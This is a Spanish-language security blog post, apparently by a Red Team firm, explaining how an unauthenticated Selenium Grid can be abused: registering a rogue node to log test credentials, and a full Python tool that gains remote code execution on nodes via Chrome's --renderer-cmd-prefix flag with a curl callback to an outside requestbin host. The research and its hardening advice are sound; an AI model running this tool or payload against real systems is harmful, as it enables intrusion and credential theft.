Cabecera blog ciberseguridad

Atacando plataformas QA: Selenium Grid

Dentro de las tareas de reconocimiento y OSINT continuo llevadas a cabo por el Red Team en el contexto de una operación, se identificaron una serie de activos perimetrales utilizados por los equipos de QA. Concretamente se detectó la utilización de un Selenium Grid, sin autenticación, para la instrumentación de navegadores con objeto de realizar pruebas de calidad sobre distintos activos web de la empresa.

En este artículo se pretende abordar cómo una plataforma para QA expuesta, en este caso un servidor Selenium, puede ser aprovechada en el contexto de una intrusión.

Introducción

Este tipo de plataformas basadas en Selenium se componen de dos tipos de activos: un hub y varios nodos. El hub es el servidor al que otras máquinas (nodos) se suscriben para recibir las configuraciones necesarias para ejecutar una sesión de selenium y, posteriormente, llevar a cabo los test automatizados. Para la realización de estos test los nodos lanzan instancias de los navegadores deseados utilizando la configuración suministrada.

Desde el punto de vista del Red Team una infraestructura de estas características es interesante por dos motivos:

  1. Si es posible suscribir al Selenium Grid un nuevo nodo controlado por el Red Team, esto puede ser aprovechado para extraer la configuración de los test. En el caso de test a funcionalidades que requieren de una sesión válida, es probable encontrar credenciales u otros mecanismos de autenticación.
  2. En caso de poder configurar una instancia de un nodo, si dicho nodo dispone del navegador Google Chrome, obtener ejecución remota de comandos es trivial a través de los parámetros (flags) que admite.

Entorno de pruebas

Con motivos ilustrativos, en este artículo se van a realizar todas las pruebas en un entorno local compuesto por cuatro equipos. Uno de los equipos se encontrará ejecutando un servidor web y un hub mientras que los otros tres contendrán nodos de Selenium.

Servicio IP Vulnerable a RCE
Hub Selenium 192.168.1.1
Nodo Selenium 192.168.1.2 Si
Nodo Selenium 192.168.1.3 No
Nodo Selenium 192.168.1.4 Si

Inicialización del hub

Se inicia un hub en la dirección 192.168.1.1.

java -jar selenium.jar -role hub

Inicialización de los nodos

Se inician un total de tres nodos en 192.168.1.1, 192.168.1.2, 192.168.1.3. Estes se subscriben a su vez al hub creado anteriormente (192.168.1.1).

Inicialización de nodo en 192.168.1.2:

java -Dwebdriver.gecko.driver="geckodriver" -Dwebdriver.chrome.driver="chromedriver" -jar selenium.jar -role webdriver -hub https://192.168.1.1:4444/grid/register -port 5566 -host 192.168.1.2
Panel de control con los tres nodos selenium subscritos

Panel de control con los tres nodos subscritos

Subscripción de nuevo Nodo

Se subscribe un nuevo nodo controlado por el Red Team.

Ejecución de prueba

Se crea un script (launchTest.py) que solicita la ejecución una prueba al hub de selenium. Esta prueba es enviada a uno de los nodos que se encuentran subscritos al mismo y que a su vez, cumplan con los requerimientos especificados en el atributo desired_capabilities.

launchTest.py

#! /usr/bin/env python3.7

from selenium import webdriver
from lxml import html
import requests

HUB_IP = "127.0.0.1"
HUB_PORT = "4444"
TARGET_IP = "192.168.1.1"
TARGET_PORT = "8080"
TARGET_URL = "/main.html"

def request(driver):  
                   s = requests.Session()
                   cookies = driver.get_cookies()
                   for cookie in cookies:
                         s.cookies.set(cookie['name'], cookie['value'])
                   return s
def login():
       driver = webdriver.Remote(desired_capabilities=webdriver.DesiredCapabilities.FIREFOX,command_executor="https://"+HUB_IP+":"+HUB_PORT+"/wd/hub")
       driver.get("https://"+TARGET_IP+":"+TARGET_PORT+TARGET_URL)
       driver.find_element_by_id('username').send_keys("secretUser")
       driver.find_element_by_id('password').send_keys("secretPassword")
       driver.find_element_by_id('login').click()
       req = request(driver)
login()

Obtención de configuraciones

El método más simple de obtener las configuraciones y parámetros para llevar a cabo los test es suscribir al hub un nodo controlado por el Red Team. Para ello un método sencillo es modificar el código fuente del cliente de Selenium, de tal forma que todas las peticiones que reciba desde el Hub queden recopiladas. En este caso se añade una clase CustomRequestWrapper que hereda de ServletRequestWrappingHttpRequest y que permite leer sucesivas veces el contenido del cuerpo de un paquete (por defecto el campo body de un paquete es un buffer de una sola lectura).

CustomRequestWrapper.java

public class CustomRequestWrapper extends ServletRequestWrappingHttpRequest {
  private final String body;
  public CustomRequestWrapper(HttpServletRequest request) throws IOException {
    super(request);
    StringBuilder stringBuilder = new StringBuilder();
    BufferedReader bufferedReader = null;
    try {
      InputStream inputStream = request.getInputStream();
      if (inputStream != null) {
        bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
        char[] charBuffer = new char[128];
        int bytesRead = -1;
        while ((bytesRead = bufferedReader.read(charBuffer)) > 0) {
          stringBuilder.append(charBuffer, 0, bytesRead);
        }
      } else {
        stringBuilder.append("");
      }
    } catch (IOException ex) {
      throw ex;
    } finally {
      if (bufferedReader != null) {
        try {
          bufferedReader.close();
        } catch (IOException ex) {
          throw ex;
        }
      }
    }
    body = stringBuilder.toString();
  }
  
  public String getBody(){
    return body;
  }
  @Override
  public InputStream consumeContentStream() {
    try {
      return new ByteArrayInputStream(body.getBytes());
    } catch (Exception e) {
      throw new RuntimeException(e);
    }
  }
}

Empleando CustomRequestWrapper en la clase WebDriverServlet se procesa el cuerpo de los distintos paquetes recibidos y se almacena en un fichero de log.

...
...
CustomRequestWrapper req_wrapper = new CustomRequestWrapper(req);        
String body = req_wrapper.getBody();
if(!body.contains("capabilities")){
    localDate = LocalDate.now();
    String filename= LOG_FOLDER+localDate.format(dtf)+".log";
    fw = new FileWriter(filename,true);
    if(body.contains("url")){
      fw.write("\n");
  }
  fw.write(body+"\n");
  fw.close();
  logger.info(body);
}
...
...

Analizando el tráfico recibido por el nodo subscrito se identifica el contenido de las peticiones.

Fichero .log en el nodo

Fichero .log en el nodo

Ejecución de código

Como se ha indicado en el inicio de este post, es posible ejecutar comandos en los distintos nodos mediante el empleo del navegador Google Chrome. El argumento --renderer-cmd-prefix permite introducir un comando que se ejecuta antes de iniciar el navegador. Este parámetro es propio del navegador Google Chrome y no se encuentra relacionado de forma alguna con la plataforma Selenium.

A continuación se presenta una herramienta desarrollada por el Red Team que permite listar los diferentes nodos suscritos a un hub y comprobar cuales son vulnerables a RCE. Esta herramienta puede ser descargada desde el github de Tarlogic.

Descripción de la Herramienta

La herramienta desarrollada recibe como entrada la ubicación de un panel de control de un hub y brinda dos opciones.

  1. Identificar los nodos suscritos al hub

  2. Identificar los nodos suscritos al hub y comprobar cuales de ellos son vulnerables a RCE.

Para la comprobación de ejecución de comandos se emplea el servicio dns.requestbin.net. Básicamente se intenta realizar desde cada uno de los nodos una petición http a la dirección direcciondelnodo.tokendns.d.requestbin.net, de esta forma, al intentar resolver el nombre se recibe la petición del mismo en el servicio de  dns.requestbin.net pudiendo identificar qué nodos han realizado la petición.

seleniumInformer.py

#!/bin/python3.7
import requests
import re
import base64
import asyncio
import websockets
import json
import time
import threading
import argparse

NODE_REGEX = re.compile(r'id:\s(https?://\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d{1,6})')

HUB_IP_ADDR="192.168.1.1"
HUB_PORT="4444"
REQUEST_TOKEN = ''
REQUEST_DOMAIN='.d.requestbin.net'
WEBSOCKET_URL     = "ws://dns.requestbin.net:8080/dnsbin";
RESULT_SET = {}

parser = argparse.ArgumentParser()
parser.add_argument("-a","--addr", help="Hub ip address")
parser.add_argument("-p","--port", help="Hub web panel port")
parser.add_argument("-e","--enumerate",action="store_true", help="Just eumerate nodes on hub")
args = parser.parse_args()

if args.addr:
    HUB_IP_ADDR = args.addr

if args.port:
    HUB_PORT = args.port

if not args.enumerate:
    async def read_bytes_from_outside():
        async with websockets.connect(WEBSOCKET_URL,close_timeout=3) as websocket:
            global REQUEST_TOKEN
            global RESULT_SET
            data = await websocket.recv()
            data = json.loads(data)
            REQUEST_TOKEN = data['data']
            print("[+] Current session token is : " + REQUEST_TOKEN)
            try:
                while(websocket.open):
                    message = await websocket.recv()
                    message = json.loads(json.loads(message)['data'])
                    node = message['content']
                    RESULT_SET[base64.b32decode(node.upper() + '=' * (-len(node) % 4)).decode('utf-8')]=message
            except:
                pass

    def thread_handler():
        loop = asyncio.new_event_loop()
        asyncio.set_event_loop(loop)
        loop.run_until_complete(read_bytes_from_outside())
        loop.close()

    thread = threading.Thread(target = thread_handler, args='')
    thread.start()


    while len(REQUEST_TOKEN)<1:
        time.sleep(0.2)

print("[+] Hub Location:",'https://'+HUB_IP_ADDR+':'+HUB_PORT)
r = requests.get('https://'+HUB_IP_ADDR+':'+HUB_PORT+'/grid/console')

NodesOnHub = NODE_REGEX.findall(r.content.decode("utf-8"))

if not args.enumerate:
    for node in NodesOnHub:
        b32_node = ""+base64.b32encode(str.encode(node)).decode('utf-8').replace('=','').lower()
        payload = "curl "+b32_node+"."+REQUEST_TOKEN+REQUEST_DOMAIN
        rce_test_data = '''{
            "desiredCapabilities": {
                "browserName":"chrome",
                "goog:chromeOptions": {
                    "args":["--no-sandbox","--renderer-cmd-prefix='''+payload+''' --"]
                }
            }
        }'''
        r = requests.post(url = 'https://'+HUB_IP_ADDR+':'+HUB_PORT+'/wd/hub/session', headers={'Content-Type':'text/plain;charset=UTF-8'}, data = rce_test_data)


    thread.join()

    print("[+] Nodes with RCE: ")
    for node in NodesOnHub:
        if node in RESULT_SET:
            print(" [\033[;1;32m+\033[;39;49m] ",node,"\033[;1;32mPWNEABLE!\033[;39;49m")
        else:
            print(" [\033[;1;31m-\033[;39;49m] ",node,"\033[;1;31mNOT PWNEABLE!\033[;39;49m")

else:
    print("[+] Nodes Subscribed to HUB: ")
    for node in NodesOnHub:
            print(" [*] ",node)

Funcionamiento Herramienta

La herramienta se encuentra escrita en python3 y tiene dos modos de funcionamiento. Un primer modo para tan sólo listar los nodos subscritos al hub y un segundo para listar e identificar cuales son vulnerables a ejecución remota de código.

Listado de nodos subscritos

Para listar los nodos subscritos al hub basta con invocar el script con la opción -e,–enumerate

Enumeración de nodos de selenium

Enumeración de nodos

Listado de nodos vulnerables a ejecución remota de código

Para listar los nodos vulnerables se ejecuta el script sin la opción -e,–enumerate

Obtención de nodos selenium con RCE

Obtención de nodos con RCE

Conclusiones

Si bien la plataforma Selenium Grid facilita y acelera la fase de pruebas sobre activos web, ésta debe emplearse en entornos controlados o, al menos no en su variante por defecto. La ausencia de métodos de autenticación por parte cliente/servidor permiten que cualquier agente externo pueda interactuar con ambos, permitiendo la realización de ataques como los presentados en este post.

El empleo de algún proxy de autenticación, el empleo de reglas de firewall que filtren el tráfico entrante junto un buen bastionado son clave para minimizar la exposición y el riesgo que presenta el uso de este tipo de plataformas.

Referencias


[1] https://chromium.googlesource.com/chromium/src/+/lkgr/docs/gpu/debugging_gpu_related_code.md
[2] https://howtodoinjava.com/servlets/httpservletrequestwrapper-example-read-request-body/
[3] https://peter.sh/experiments/chromium-command-line-switches/

Descubre nuestro trabajo y nuestros servicios de ciberseguridad en www.tarlogic.com